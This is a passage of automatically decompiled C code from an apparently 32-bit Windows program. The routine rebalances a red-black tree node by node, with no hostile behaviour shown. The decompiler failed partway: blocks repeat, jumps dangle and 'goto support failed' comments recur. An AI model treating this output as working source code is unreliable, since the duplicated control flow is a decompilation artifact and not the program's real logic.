  6651.                                                         v129 = *(int32_t *)(v6 + 4);
  6652.                                                         v18 = v129;
  6653.                                                         v113 = (int32_t *)v129;
  6654.                                                         v119 = *v113;
  6655.                                                         v19 = v119;
  6656.                                                         *v113 = *(int32_t *)(v119 + 8);
  6657.                                                         v125 = v19;
  6658.                                                         v130 = *(int32_t *)(v125 + 8);
  6659.                                                         v126 = v125;
  6660.                                                         if (v130 != g1178) {
  6661.                                                             // 0x40896f
  6662.                                                             *(int32_t *)(v130 + 4) = v18;
  6663.                                                             v126 = v19;
  6664.                                                             // branch -> 0x408972
  6665.                                                         }
  6666.                                                         // 0x408972
  6667.                                                         *(int32_t *)(v126 + 4) = *(int32_t *)(v18 + 4);
  6668.                                                         v131 = *(int32_t *)(v9 + 4);
  6669.                                                         g6 = v131;
  6670.                                                         v132 = v18;
  6671.                                                         v114 = (int32_t *)(v131 + 4);
  6672.                                                         if (v132 == *v114) {
  6673.                                                             // 0x408980
  6674.                                                             *v114 = v19;
  6675.                                                             // branch -> 0x408994
  6676.                                                             // 0x408994
  6677.                                                             *(int32_t *)(v19 + 8) = v18;
  6678.                                                             // branch -> 0x408997
  6679.                                                             // 0x408997
  6680.                                                             *(int32_t *)(v18 + 4) = v19;
  6681.                                                             // branch -> 0x40899a
  6682.                                                             // 0x40899a
  6683.                                                             *(int32_t *)(v6 + 20) = v8;
  6684.                                                             // branch -> 0x40899d
  6685.                                                             // 0x40899d
  6686.                                                             _qm__qm_1_Lockit_std__QAE_XZ();
  6687.                                                             g1 = v20;
  6688.                                                             function_4097fe((char *)v20);
  6689.                                                             v58 = (int32_t *)(v9 + 12);
  6690.                                                             v59 = v1;
  6691.                                                             g4 = v59;
  6692.                                                             *v58 = *v58 - 1;
  6693.                                                             g5 = v3;
  6694.                                                             *a1 = v59;
  6695.                                                             return result;
  6696.                                                         }
  6697.                                                         // 0x408985
  6698.                                                         v133 = *(int32_t *)(v132 + 4);
  6699.                                                         g6 = v133;
  6700.                                                         v115 = (int32_t *)(v133 + 8);
  6701.                                                         v134 = v19;
  6702.                                                         if (v132 == *v115) {
  6703.                                                             // 0x40898d
  6704.                                                             *v115 = v134;
  6705.                                                             // branch -> 0x408994
  6706.                                                             // 0x408994
  6707.                                                             *(int32_t *)(v19 + 8) = v18;
  6708.                                                             // branch -> 0x408997
  6709.                                                             // 0x408997
  6710.                                                             *(int32_t *)(v18 + 4) = v19;
  6711.                                                             // branch -> 0x40899a
  6712.                                                             // 0x40899a
  6713.                                                             *(int32_t *)(v6 + 20) = v8;
  6714.                                                             // branch -> 0x40899d
  6715.                                                             // 0x40899d
  6716.                                                             _qm__qm_1_Lockit_std__QAE_XZ();
  6717.                                                             g1 = v20;
  6718.                                                             function_4097fe((char *)v20);
  6719.                                                             v58 = (int32_t *)(v9 + 12);
  6720.                                                             v59 = v1;
  6721.                                                             g4 = v59;
  6722.                                                             *v58 = *v58 - 1;
  6723.                                                             g5 = v3;
  6724.                                                             *a1 = v59;
  6725.                                                             return result;
  6726.                                                         }
  6727.                                                         // 0x408992
  6728.                                                         *(int32_t *)v133 = v134;
  6729.                                                         // branch -> 0x408994
  6730.                                                         // 0x408994
  6731.                                                         *(int32_t *)(v19 + 8) = v18;
  6732.                                                         // branch -> 0x408997
  6733.                                                         // 0x408997
  6734.                                                         *(int32_t *)(v18 + 4) = v19;
  6735.                                                         // branch -> 0x40899a
  6736.                                                         // 0x40899a
  6737.                                                         *(int32_t *)(v6 + 20) = v8;
  6738.                                                         // branch -> 0x40899d
  6739.                                                         // 0x40899d
  6740.                                                         _qm__qm_1_Lockit_std__QAE_XZ();
  6741.                                                         g1 = v20;
  6742.                                                         function_4097fe((char *)v20);
  6743.                                                         v58 = (int32_t *)(v9 + 12);
  6744.                                                         v59 = v1;
  6745.                                                         g4 = v59;
  6746.                                                         *v58 = *v58 - 1;
  6747.                                                         g5 = v3;
  6748.                                                         *a1 = v59;
  6749.                                                         return result;
  6750.                                                     }
  6751.                                                     // 0x40893c
  6752.                                                     *(int32_t *)v19 = v18;
  6753.                                                     *(int32_t *)(v18 + 4) = v19;
  6754.                                                     v122 = v6;
  6755.                                                     v118 = *(int32_t *)*(int32_t *)(v122 + 4);
  6756.                                                     v18 = v118;
  6757.                                                     v124 = v118;
  6758.                                                     v123 = v122;
  6759.                                                     // branch -> 0x408946
  6760.                                                 }
  6761.                                                 // 0x408946
  6762.                                                 *(int32_t *)(v124 + 20) = *(int32_t *)(*(int32_t *)(v123 + 4) + 20);
  6763.                                                 *(int32_t *)(*(int32_t *)(v6 + 4) + 20) = v8;
  6764.                                                 *(int32_t *)(*(int32_t *)v18 + 20) = v8;
  6765.                                                 v129 = *(int32_t *)(v6 + 4);
  6766.                                                 v18 = v129;
  6767.                                                 v113 = (int32_t *)v129;
  6768.                                                 v119 = *v113;
  6769.                                                 v19 = v119;
  6770.                                                 *v113 = *(int32_t *)(v119 + 8);
  6771.                                                 v125 = v19;
  6772.                                                 v130 = *(int32_t *)(v125 + 8);
  6773.                                                 v126 = v125;
  6774.                                                 if (v130 != g1178) {
  6775.                                                     // 0x40896f
  6776.                                                     *(int32_t *)(v130 + 4) = v18;
  6777.                                                     v126 = v19;
  6778.                                                     // branch -> 0x408972
  6779.                                                 }
  6780.                                                 // 0x408972
  6781.                                                 *(int32_t *)(v126 + 4) = *(int32_t *)(v18 + 4);
  6782.                                                 v131 = *(int32_t *)(v9 + 4);
  6783.                                                 g6 = v131;
  6784.                                                 v132 = v18;
  6785.                                                 v114 = (int32_t *)(v131 + 4);
  6786.                                                 if (v132 == *v114) {
  6787.                                                     // 0x408980
  6788.                                                     *v114 = v19;
  6789.                                                     // branch -> 0x408994
  6790.                                                     // 0x408994
  6791.                                                     *(int32_t *)(v19 + 8) = v18;
  6792.                                                     // branch -> 0x408997
  6793.                                                     // Detected a possible infinite recursion (goto support failed); quitting...
  6794.                                                 } else {
  6795.                                                     // 0x408985
  6796.                                                     v133 = *(int32_t *)(v132 + 4);
  6797.                                                     g6 = v133;
  6798.                                                     v115 = (int32_t *)(v133 + 8);
  6799.                                                     v134 = v19;
  6800.                                                     if (v132 == *v115) {
  6801.                                                         // 0x40898d
  6802.                                                         *v115 = v134;
  6803.                                                         // branch -> 0x408994
  6804.                                                         // 0x408994
  6805.                                                         *(int32_t *)(v19 + 8) = v18;
  6806.                                                         // branch -> 0x408997
  6807.                                                         // Detected a possible infinite recursion (goto support failed); quitting...
  6808.                                                     } else {
  6809.                                                         // 0x408992
  6810.                                                         *(int32_t *)v133 = v134;
  6811.                                                         // branch -> 0x408994
  6812.                                                         // 0x408994
  6813.                                                         *(int32_t *)(v19 + 8) = v18;
  6814.                                                         // branch -> 0x408997
  6815.                                                         // Detected a possible infinite recursion (goto support failed); quitting...
  6816.                                                     }
  6817.                                                     // 0x408994
  6818.                                                     *(int32_t *)(v19 + 8) = v18;
  6819.                                                     // branch -> 0x408997
  6820.                                                     // Detected a possible infinite recursion (goto support failed); quitting...
  6821.                                                 }
  6822.                                                 // 0x408994
  6823.                                                 *(int32_t *)(v19 + 8) = v18;
  6824.                                                 // branch -> 0x408997
  6825.                                                 // Detected a possible infinite recursion (goto support failed); quitting...
  6826.                                             }
  6827.                                             // 0x4088f6
  6828.                                             v124 = v108;
  6829.                                             v123 = v106;
  6830.                                             if (*(int32_t *)(*v110 + 20) == v107) {
  6831.                                                 // 0x4088fd
  6832.                                                 *(int32_t *)(*v109 + 20) = v107;
  6833.                                                 v120 = v18;
  6834.                                                 v19 = *(int32_t *)(v120 + 8);
  6835.                                                 *(int32_t *)(v120 + 20) = v1;
  6836.                                                 *(int32_t *)(v18 + 8) = *(int32_t *)v19;
  6837.                                                 v116 = v19;
  6838.                                                 v117 = *(int32_t *)v116;
  6839.                                                 v121 = v116;
  6840.                                                 if (v117 != g1178) {
  6841.                                                     // 0x408918
  6842.                                                     *(int32_t *)(v117 + 4) = v18;
  6843.                                                     v121 = v19;
  6844.                                                     // branch -> 0x40891b
  6845.                                                 }
  6846.                                                 // 0x40891b
  6847.                                                 *(int32_t *)(v121 + 4) = *(int32_t *)(v18 + 4);
  6848.                                                 v127 = v18;
  6849.                                                 v111 = (int32_t *)(*(int32_t *)(v9 + 4) + 4);
  6850.                                                 if (v127 == *v111) {
  6851.                                                     // 0x408929
  6852.                                                     *v111 = v19;
  6853.                                                     // branch -> 0x40893c
  6854.                                                 } else {
  6855.                                                     // 0x40892e
  6856.                                                     v128 = *(int32_t *)(v127 + 4);
  6857.                                                     v112 = (int32_t *)v128;
  6858.                                                     if (v127 == *v112) {
  6859.                                                         // 0x408935
  6860.                                                         *v112 = v19;
  6861.                                                         // branch -> 0x40893c
  6862.                                                     } else {
  6863.                                                         // 0x408939
  6864.                                                         *(int32_t *)(v128 + 8) = v19;
  6865.                                                         // branch -> 0x40893c
  6866.                                                     }
  6867.                                                     // 0x40893c
  6868.                                                     *(int32_t *)v19 = v18;
  6869.                                                     *(int32_t *)(v18 + 4) = v19;
  6870.                                                     v122 = v6;
  6871.                                                     v118 = *(int32_t *)*(int32_t *)(v122 + 4);
  6872.                                                     // branch -> 0x408946
  6873.                                                     // 0x408946
  6874.                                                     *(int32_t *)(v118 + 20) = *(int32_t *)(*(int32_t *)(v122 + 4) + 20);
  6875.                                                     *(int32_t *)(*(int32_t *)(v6 + 4) + 20) = v8;
  6876.                                                     *(int32_t *)(*(int32_t *)v118 + 20) = v8;
  6877.                                                     v129 = *(int32_t *)(v6 + 4);
  6878.                                                     v18 = v129;
  6879.                                                     v113 = (int32_t *)v129;
  6880.                                                     v119 = *v113;
  6881.                                                     v19 = v119;
  6882.                                                     *v113 = *(int32_t *)(v119 + 8);
  6883.                                                     v125 = v19;
  6884.                                                     v130 = *(int32_t *)(v125 + 8);
  6885.                                                     v126 = v125;
  6886.                                                     if (v130 != g1178) {
  6887.                                                         // 0x40896f
  6888.                                                         *(int32_t *)(v130 + 4) = v18;
  6889.                                                         v126 = v19;
  6890.                                                         // branch -> 0x408972
  6891.                                                     }
  6892.                                                     // 0x408972
  6893.                                                     *(int32_t *)(v126 + 4) = *(int32_t *)(v18 + 4);
  6894.                                                     v131 = *(int32_t *)(v9 + 4);
  6895.                                                     g6 = v131;
  6896.                                                     v132 = v18;
  6897.                                                     v114 = (int32_t *)(v131 + 4);
  6898.                                                     if (v132 == *v114) {
  6899.                                                         // 0x408980
  6900.                                                         *v114 = v19;
  6901.                                                         // branch -> 0x408994
  6902.                                                         // 0x408994
  6903.                                                         *(int32_t *)(v19 + 8) = v18;
  6904.                                                         // branch -> 0x408997
  6905.                                                         // Detected a possible infinite recursion (goto support failed); quitting...
  6906.                                                     } else {
  6907.                                                         // 0x408985
  6908.                                                         v133 = *(int32_t *)(v132 + 4);
  6909.                                                         g6 = v133;
  6910.                                                         v115 = (int32_t *)(v133 + 8);
  6911.                                                         v134 = v19;
  6912.                                                         if (v132 == *v115) {
  6913.                                                             // 0x40898d
  6914.                                                             *v115 = v134;
  6915.                                                             // branch -> 0x408994
  6916.                                                             // 0x408994
  6917.                                                             *(int32_t *)(v19 + 8) = v18;
  6918.                                                             // branch -> 0x408997
  6919.                                                             // Detected a possible infinite recursion (goto support failed); quitting...
  6920.                                                         } else {
  6921.                                                             // 0x408992
  6922.                                                             *(int32_t *)v133 = v134;
  6923.                                                             // branch -> 0x408994
  6924.                                                             // 0x408994
  6925.                                                             *(int32_t *)(v19 + 8) = v18;
  6926.                                                             // branch -> 0x408997
  6927.                                                             // Detected a possible infinite recursion (goto support failed); quitting...
  6928.                                                         }
  6929.                                                         // 0x408994
  6930.                                                         *(int32_t *)(v19 + 8) = v18;
  6931.                                                         // branch -> 0x408997
  6932.                                                         // Detected a possible infinite recursion (goto support failed); quitting...
  6933.                                                     }
  6934.                                                     // 0x408994
  6935.                                                     *(int32_t *)(v19 + 8) = v18;
  6936.                                                     // branch -> 0x408997
  6937.                                                     // Detected a possible infinite recursion (goto support failed); quitting...
  6938.                                                 }
  6939.                                                 // 0x40893c
  6940.                                                 *(int32_t *)v19 = v18;
  6941.                                                 *(int32_t *)(v18 + 4) = v19;
  6942.                                                 v122 = v6;
  6943.                                                 v118 = *(int32_t *)*(int32_t *)(v122 + 4);
  6944.                                                 v18 = v118;
  6945.                                                 v124 = v118;
  6946.                                                 v123 = v122;
  6947.                                                 // branch -> 0x408946
  6948.                                             }
  6949.                                             // 0x408946
  6950.                                             *(int32_t *)(v124 + 20) = *(int32_t *)(*(int32_t *)(v123 + 4) + 20);
  6951.                                             *(int32_t *)(*(int32_t *)(v6 + 4) + 20) = v8;
  6952.                                             *(int32_t *)(*(int32_t *)v18 + 20) = v8;
  6953.                                             v129 = *(int32_t *)(v6 + 4);
  6954.                                             v18 = v129;
  6955.                                             v113 = (int32_t *)v129;
  6956.                                             v119 = *v113;
  6957.                                             v19 = v119;
  6958.                                             *v113 = *(int32_t *)(v119 + 8);
  6959.                                             v125 = v19;
  6960.                                             v130 = *(int32_t *)(v125 + 8);
  6961.                                             v126 = v125;
  6962.                                             if (v130 != g1178) {
  6963.                                                 // 0x40896f
  6964.                                                 *(int32_t *)(v130 + 4) = v18;
  6965.                                                 v126 = v19;
  6966.                                                 // branch -> 0x408972
  6967.                                             }
  6968.                                             // 0x408972
  6969.                                             *(int32_t *)(v126 + 4) = *(int32_t *)(v18 + 4);
  6970.                                             v131 = *(int32_t *)(v9 + 4);
  6971.                                             g6 = v131;
  6972.                                             v132 = v18;
  6973.                                             v114 = (int32_t *)(v131 + 4);
  6974.                                             if (v132 == *v114) {
  6975.                                                 // 0x408980
  6976.                                                 *v114 = v19;
  6977.                                                 // branch -> 0x408994
  6978.                                                 // 0x408994
  6979.                                                 *(int32_t *)(v19 + 8) = v18;
  6980.                                                 // branch -> 0x408997
  6981.                                                 // Detected a possible infinite recursion (goto support failed); quitting...
  6982.                                             } else {
  6983.                                                 // 0x408985
  6984.                                                 v133 = *(int32_t *)(v132 + 4);
  6985.                                                 g6 = v133;
  6986.                                                 v115 = (int32_t *)(v133 + 8);
  6987.                                                 v134 = v19;
  6988.                                                 if (v132 == *v115) {
  6989.                                                     // 0x40898d
  6990.                                                     *v115 = v134;
  6991.                                                     // branch -> 0x408994
  6992.                                                     // 0x408994
  6993.                                                     *(int32_t *)(v19 + 8) = v18;
  6994.                                                     // branch -> 0x408997
  6995.                                                     // Detected a possible infinite recursion (goto support failed); quitting...
  6996.                                                 } else {
  6997.                                                     // 0x408992
  6998.                                                     *(int32_t *)v133 = v134;
  6999.                                                     // branch -> 0x408994
  7000.                                                     // 0x408994
  7001.                                                     *(int32_t *)(v19 + 8) = v18;
  7002.                                                     // branch -> 0x408997
  7003.                                                     // Detected a possible infinite recursion (goto support failed); quitting...
  7004.                                                 }
  7005.                                                 // 0x408994
  7006.                                                 *(int32_t *)(v19 + 8) = v18;
  7007.                                                 // branch -> 0x408997
  7008.                                                 // Detected a possible infinite recursion (goto support failed); quitting...
  7009.                                             }
  7010.                                             // 0x408994
  7011.                                             *(int32_t *)(v19 + 8) = v18;
  7012.                                             // branch -> 0x408997
  7013.                                             // Detected a possible infinite recursion (goto support failed); quitting...
  7014.                                         }
  7015.                                         // 0x40880b
  7016.                                         *(int32_t *)(v19 + 8) = v18;
  7017.                                         *(int32_t *)(v18 + 4) = v19;
  7018.                                         v142 = v6;
  7019.                                         v141 = *(int32_t *)*(int32_t *)(v142 + 4);
  7020.                                         v18 = v141;
  7021.                                         v106 = v142;
  7022.                                         v107 = v8;
  7023.                                         v108 = v141;
  7024.                                         // branch -> 0x408816
  7025.                                         goto lab_0x408816;
  7026.                                     }
  7027.                                     // 0x408816
  7028.                                     v109 = (int32_t *)(v108 + 8);
  7029.                                     v110 = (int32_t *)v108;
  7030.                                     if (*(int32_t *)(*v109 + 20) == v107) {
  7031.                                         goto lab_0x408822;
  7032.                                     }
  7033.                                     // 0x4088f6
  7034.                                     v124 = v108;
  7035.                                     v123 = v106;
  7036.                                     if (*(int32_t *)(*v110 + 20) == v107) {
  7037.                                         // 0x4088fd
  7038.                                         *(int32_t *)(*v109 + 20) = v107;
  7039.                                         v120 = v18;
  7040.                                         v19 = *(int32_t *)(v120 + 8);
  7041.                                         *(int32_t *)(v120 + 20) = v1;
  7042.                                         *(int32_t *)(v18 + 8) = *(int32_t *)v19;
  7043.                                         v116 = v19;
  7044.                                         v117 = *(int32_t *)v116;
  7045.                                         v121 = v116;
  7046.                                         if (v117 != g1178) {
  7047.                                             // 0x408918
  7048.                                             *(int32_t *)(v117 + 4) = v18;
  7049.                                             v121 = v19;
  7050.                                             // branch -> 0x40891b
  7051.                                         }
  7052.                                         // 0x40891b
  7053.                                         *(int32_t *)(v121 + 4) = *(int32_t *)(v18 + 4);
  7054.                                         v127 = v18;
  7055.                                         v111 = (int32_t *)(*(int32_t *)(v9 + 4) + 4);
  7056.                                         if (v127 == *v111) {
  7057.                                             // 0x408929
  7058.                                             *v111 = v19;
  7059.                                             // branch -> 0x40893c
  7060.                                         } else {
  7061.                                             // 0x40892e
  7062.                                             v128 = *(int32_t *)(v127 + 4);
  7063.                                             v112 = (int32_t *)v128;
  7064.                                             if (v127 == *v112) {
  7065.                                                 // 0x408935
  7066.                                                 *v112 = v19;
  7067.                                                 // branch -> 0x40893c
  7068.                                             } else {
  7069.                                                 // 0x408939
  7070.                                                 *(int32_t *)(v128 + 8) = v19;
  7071.                                                 // branch -> 0x40893c
  7072.                                             }
  7073.                                             // 0x40893c
  7074.                                             *(int32_t *)v19 = v18;
  7075.                                             *(int32_t *)(v18 + 4) = v19;
  7076.                                             v122 = v6;
  7077.                                             v118 = *(int32_t *)*(int32_t *)(v122 + 4);
  7078.                                             // branch -> 0x408946
  7079.                                             // 0x408946
  7080.                                             *(int32_t *)(v118 + 20) = *(int32_t *)(*(int32_t *)(v122 + 4) + 20);
  7081.                                             *(int32_t *)(*(int32_t *)(v6 + 4) + 20) = v8;
  7082.                                             *(int32_t *)(*(int32_t *)v118 + 20) = v8;
  7083.                                             v129 = *(int32_t *)(v6 + 4);
  7084.                                             v18 = v129;
  7085.                                             v113 = (int32_t *)v129;
  7086.                                             v119 = *v113;
  7087.                                             v19 = v119;
  7088.                                             *v113 = *(int32_t *)(v119 + 8);
  7089.                                             v125 = v19;
  7090.                                             v130 = *(int32_t *)(v125 + 8);
  7091.                                             v126 = v125;
  7092.                                             if (v130 != g1178) {
  7093.                                                 // 0x40896f
  7094.                                                 *(int32_t *)(v130 + 4) = v18;
  7095.                                                 v126 = v19;
  7096.                                                 // branch -> 0x408972
  7097.                                             }
  7098.                                             // 0x408972
  7099.                                             *(int32_t *)(v126 + 4) = *(int32_t *)(v18 + 4);
  7100.                                             v131 = *(int32_t *)(v9 + 4);
  7101.                                             g6 = v131;
  7102.                                             v132 = v18;
  7103.                                             v114 = (int32_t *)(v131 + 4);
  7104.                                             if (v132 == *v114) {
  7105.                                                 // 0x408980
  7106.                                                 *v114 = v19;
  7107.                                                 // branch -> 0x408994
  7108.                                                 // 0x408994
  7109.                                                 *(int32_t *)(v19 + 8) = v18;
  7110.                                                 // branch -> 0x408997
  7111.                                                 // Detected a possible infinite recursion (goto support failed); quitting...
  7112.                                             } else {
  7113.                                                 // 0x408985
  7114.                                                 v133 = *(int32_t *)(v132 + 4);
  7115.                                                 g6 = v133;
  7116.                                                 v115 = (int32_t *)(v133 + 8);
  7117.                                                 v134 = v19;
  7118.                                                 if (v132 == *v115) {
  7119.                                                     // 0x40898d
  7120.                                                     *v115 = v134;
  7121.                                                     // branch -> 0x408994
  7122.                                                     // 0x408994
  7123.                                                     *(int32_t *)(v19 + 8) = v18;
  7124.                                                     // branch -> 0x408997
  7125.                                                     // Detected a possible infinite recursion (goto support failed); quitting...
  7126.                                                 } else {
  7127.                                                     // 0x408992
  7128.                                                     *(int32_t *)v133 = v134;
  7129.                                                     // branch -> 0x408994
  7130.                                                     // 0x408994
  7131.                                                     *(int32_t *)(v19 + 8) = v18;
  7132.                                                     // branch -> 0x408997
  7133.                                                     // Detected a possible infinite recursion (goto support failed); quitting...
  7134.                                                 }
  7135.                                                 // 0x408994
  7136.                                                 *(int32_t *)(v19 + 8) = v18;
  7137.                                                 // branch -> 0x408997
  7138.                                                 // Detected a possible infinite recursion (goto support failed); quitting...
  7139.                                             }
  7140.                                             // 0x408994
  7141.                                             *(int32_t *)(v19 + 8) = v18;
  7142.                                             // branch -> 0x408997
  7143.                                             // Detected a possible infinite recursion (goto support failed); quitting...
  7144.                                         }
  7145.                                         // 0x40893c
  7146.                                         *(int32_t *)v19 = v18;
  7147.                                         *(int32_t *)(v18 + 4) = v19;
  7148.                                         v122 = v6;
  7149.                                         v118 = *(int32_t *)*(int32_t *)(v122 + 4);
  7150.                                         v18 = v118;
  7151.                                         v124 = v118;
  7152.                                         v123 = v122;
  7153.                                         // branch -> 0x408946
  7154.                                     }
  7155.                                     // 0x408946
  7156.                                     *(int32_t *)(v124 + 20) = *(int32_t *)(*(int32_t *)(v123 + 4) + 20);
  7157.                                     *(int32_t *)(*(int32_t *)(v6 + 4) + 20) = v8;
  7158.                                     *(int32_t *)(*(int32_t *)v18 + 20) = v8;
  7159.                                     v129 = *(int32_t *)(v6 + 4);
  7160.                                     v18 = v129;
  7161.                                     v113 = (int32_t *)v129;
  7162.                                     v119 = *v113;
  7163.                                     v19 = v119;
  7164.                                     *v113 = *(int32_t *)(v119 + 8);
  7165.                                     v125 = v19;
  7166.                                     v130 = *(int32_t *)(v125 + 8);
  7167.                                     v126 = v125;
  7168.                                     if (v130 != g1178) {
  7169.                                         // 0x40896f
  7170.                                         *(int32_t *)(v130 + 4) = v18;
  7171.                                         v126 = v19;
  7172.                                         // branch -> 0x408972
  7173.                                     }
  7174.                                     // 0x408972
  7175.                                     *(int32_t *)(v126 + 4) = *(int32_t *)(v18 + 4);
  7176.                                     v131 = *(int32_t *)(v9 + 4);
  7177.                                     g6 = v131;
  7178.                                     v132 = v18;
  7179.                                     v114 = (int32_t *)(v131 + 4);
  7180.                                     if (v132 == *v114) {
  7181.                                         // 0x408980
  7182.                                         *v114 = v19;
  7183.                                         // branch -> 0x408994
  7184.                                         // Detected a possible infinite recursion (goto support failed); quitting...
  7185.                                     } else {
  7186.                                         // 0x408985
  7187.                                         v133 = *(int32_t *)(v132 + 4);
  7188.                                         g6 = v133;
  7189.                                         v115 = (int32_t *)(v133 + 8);
  7190.                                         v134 = v19;
  7191.                                         if (v132 == *v115) {
  7192.                                             // 0x40898d
  7193.                                             *v115 = v134;
  7194.                                             // branch -> 0x408994
  7195.                                             // Detected a possible infinite recursion (goto support failed); quitting...
  7196.                                         } else {
  7197.                                             // 0x408992
  7198.                                             *(int32_t *)v133 = v134;
  7199.                                             // branch -> 0x408994
  7200.                                             // Detected a possible infinite recursion (goto support failed); quitting...
  7201.                                         }
  7202.                                         // Detected a possible infinite recursion (goto support failed); quitting...
  7203.                                     }
  7204.                                     // Detected a possible infinite recursion (goto support failed); quitting...
  7205.                                     // 0x40882d
  7206.                                     *(int32_t *)(v60 + 20) = v1;
  7207.                                     v61 = *(int32_t *)(v6 + 4);
  7208.                                     v6 = v61;
  7209.                                     if (v61 != *(int32_t *)(*(int32_t *)(v9 + 4) + 4)) {
  7210.                                         goto lab_0x40882d_2;
  7211.                                     }
  7212.                                     // 0x40899a
  7213.                                     // branch -> 0x40899a
  7214.                                     // Detected a possible infinite recursion (goto support failed); quitting...
  7215.                                 }
  7216.                                 // 0x40899a
  7217.                                 // branch -> 0x40899a
  7218.                                 // Detected a possible infinite recursion (goto support failed); quitting...
  7219.                             }
  7220.                             // 0x40899a
  7221.                             // branch -> 0x40899a
  7222.                         }
  7223.                         // Detected a possible infinite recursion (goto support failed); quitting...
  7224.                     }
  7225.                     // Detected a possible infinite recursion (goto support failed); quitting...
  7226.                 }
  7227.                 // 0x4086f3
  7228.                 v17 = (int32_t *)(*(int32_t *)(v39 + 4) + 8);
  7229.                 v45 = *v17;
  7230.                 if (v45 == v1) {
  7231.                     // 0x4086fb
  7232.                     v34 = g1178;
  7233.                     if (*(int32_t *)v45 == v34) {
  7234.                         // 0x408707
  7235.                         v48 = *(int32_t *)(v45 + 4);
  7236.                         // branch -> 0x40871e
  7237.                     } else {
  7238.                         // 0x40870c
  7239.                         v40 = v6;
  7240.                         v46 = *(int32_t *)(v40 + 8);
  7241.                         if (v46 != v34) {
  7242.                             v25 = v46;
  7243.                             v47 = *(int32_t *)(v25 + 8);
  7244.                             while (v47 != v34) {
  7245.                                 // 0x408715
  7246.                                 v25 = v47;
  7247.                                 v47 = *(int32_t *)(v25 + 8);
  7248.                                 // continue -> 0x408715
  7249.                             }
  7250.                             // 0x40871e
  7251.                             v48 = v25;
  7252.                             // branch -> 0x40871e
  7253.                         } else {
  7254.                             v48 = v40;
  7255.                         }
  7256.                     }
  7257.                     // 0x40871e
  7258.                     *v17 = v48;
  7259.                     // branch -> 0x408721
  7260.                 }
  7261.                 // 0x408721
  7262.                 v9 = v2;
  7263.                 v20 = v37;
  7264.                 // branch -> 0x408725
  7265.                 // 0x408725
  7266.                 v8 = 1;
  7267.                 if (*(int32_t *)(g6 + 20) == 1) {
  7268.                     // 0x408735
  7269.                     v49 = *(int32_t *)(v9 + 4);
  7270.                     g6 = v49;
  7271.                     v50 = v6;
  7272.                     if (v50 != *(int32_t *)(v49 + 4)) {
  7273.                         // 0x408741
  7274.                         v1 = 0;
  7275.                         if (*(int32_t *)(v50 + 20) == 1) {
  7276.                             v26 = v50;
  7277.                             v52 = 1;
  7278.                             while (true) {
  7279.                                 // 0x40874c
  7280.                                 v51 = *(int32_t *)(v26 + 4);
  7281.                                 v35 = *(int32_t *)v51;
  7282.                                 v18 = v35;
  7283.                                 if (v26 == v35) {
  7284.                                     goto lab_0x408755_9;
  7285.                                 }
  7286.                                 goto lab_0x4087c3_9;
  7287.                             }
  7288.                         }
  7289.                         // 0x40899a
  7290.                         // branch -> 0x40899a
  7291.                     }
  7292.                     // Detected a possible infinite recursion (goto support failed); quitting...
  7293.                 }
  7294.                 // Detected a possible infinite recursion (goto support failed); quitting...
  7295.             }
  7296.             // 0x4086bb
  7297.             v38 = v19;
  7298.             v16 = (int32_t *)*(int32_t *)(v38 + 4);
  7299.             v29 = *v16;
  7300.             v39 = v38;
  7301.             if (v29 == v1) {
  7302.                 // 0x4086c6
  7303.                 v30 = g1178;
  7304.                 if (*(int32_t *)v8 == v30) {
  7305.                     // 0x4086d0
  7306.                     *v16 = *(int32_t *)(v29 + 4);
  7307.                     v39 = v19;
  7308.                     // branch -> 0x4086f3
  7309.                 } else {
  7310.                     // 0x4086d7
  7311.                     v23 = v6;
  7312.                     v31 = *(int32_t *)v23;
  7313.                     v33 = v23;
  7314.                     if (v31 != v30) {
  7315.                         // 0x4086df
  7316.                         v24 = v31;
  7317.                         v32 = *(int32_t *)v24;
  7318.                         // branch -> 0x4086e1
  7319.                         while (v32 != v30) {
  7320.                             // 0x4086e1
  7321.                             v24 = v32;
  7322.                             v32 = *(int32_t *)v24;
  7323.                             // continue -> 0x4086e1
  7324.                         }
  7325.                         // 0x4086e9
  7326.                         v33 = v24;
  7327.                         // branch -> 0x4086ed
  7328.                     }
  7329.                     // 0x4086ed
  7330.                     *v16 = v33;
  7331.                     v39 = v2;
  7332.                     // branch -> 0x4086f3
  7333.                 }
  7334.                 // 0x4086f3
  7335.                 v17 = (int32_t *)(*(int32_t *)(v39 + 4) + 8);
  7336.                 v45 = *v17;
  7337.                 if (v45 == v1) {
  7338.                     // 0x4086fb
  7339.                     v34 = g1178;
  7340.                     if (*(int32_t *)v45 == v34) {
  7341.                         // 0x408707
  7342.                         v48 = *(int32_t *)(v45 + 4);
  7343.                         // branch -> 0x40871e
  7344.                     } else {
  7345.                         // 0x40870c
  7346.                         v40 = v6;
  7347.                         v46 = *(int32_t *)(v40 + 8);
  7348.                         if (v46 != v34) {
  7349.                             v25 = v46;
  7350.                             v47 = *(int32_t *)(v25 + 8);
  7351.                             while (v47 != v34) {
  7352.                                 // 0x408715
  7353.                                 v25 = v47;
  7354.                                 v47 = *(int32_t *)(v25 + 8);
  7355.                                 // continue -> 0x408715
  7356.                             }
  7357.                             // 0x40871e
  7358.                             v48 = v25;
  7359.                             // branch -> 0x40871e
  7360.                         } else {
  7361.                             v48 = v40;
  7362.                         }
  7363.                     }
  7364.                     // 0x40871e
  7365.                     *v17 = v48;
  7366.                     // branch -> 0x408721
  7367.                 }
  7368.                 // 0x408721
  7369.                 v9 = v2;
  7370.                 v20 = v37;
  7371.                 // branch -> 0x408725
  7372.                 // 0x408725
  7373.                 v8 = 1;
  7374.                 if (*(int32_t *)(g6 + 20) == 1) {
  7375.                     // 0x408735
  7376.                     v49 = *(int32_t *)(v9 + 4);
  7377.                     g6 = v49;
  7378.                     v50 = v6;
  7379.                     if (v50 != *(int32_t *)(v49 + 4)) {
  7380.                         // 0x408741
  7381.                         v1 = 0;
  7382.                         if (*(int32_t *)(v50 + 20) == 1) {
  7383.                             v26 = v50;
  7384.                             v52 = 1;
  7385.                             while (true) {
  7386.                                 // 0x40874c
  7387.                                 v51 = *(int32_t *)(v26 + 4);
  7388.                                 v35 = *(int32_t *)v51;
  7389.                                 v18 = v35;
  7390.                                 if (v26 == v35) {
  7391.                                     goto lab_0x408755_9;
  7392.                                 }
  7393.                                 goto lab_0x4087c3_9;
  7394.                             }
  7395.                         }
  7396.                         // 0x40899a
  7397.                         // branch -> 0x40899a
  7398.                     }
  7399.                     // Detected a possible infinite recursion (goto support failed); quitting...
  7400.                 }
  7401.                 // Detected a possible infinite recursion (goto support failed); quitting...
  7402.             }
  7403.             // 0x4086f3
  7404.             v17 = (int32_t *)(*(int32_t *)(v39 + 4) + 8);
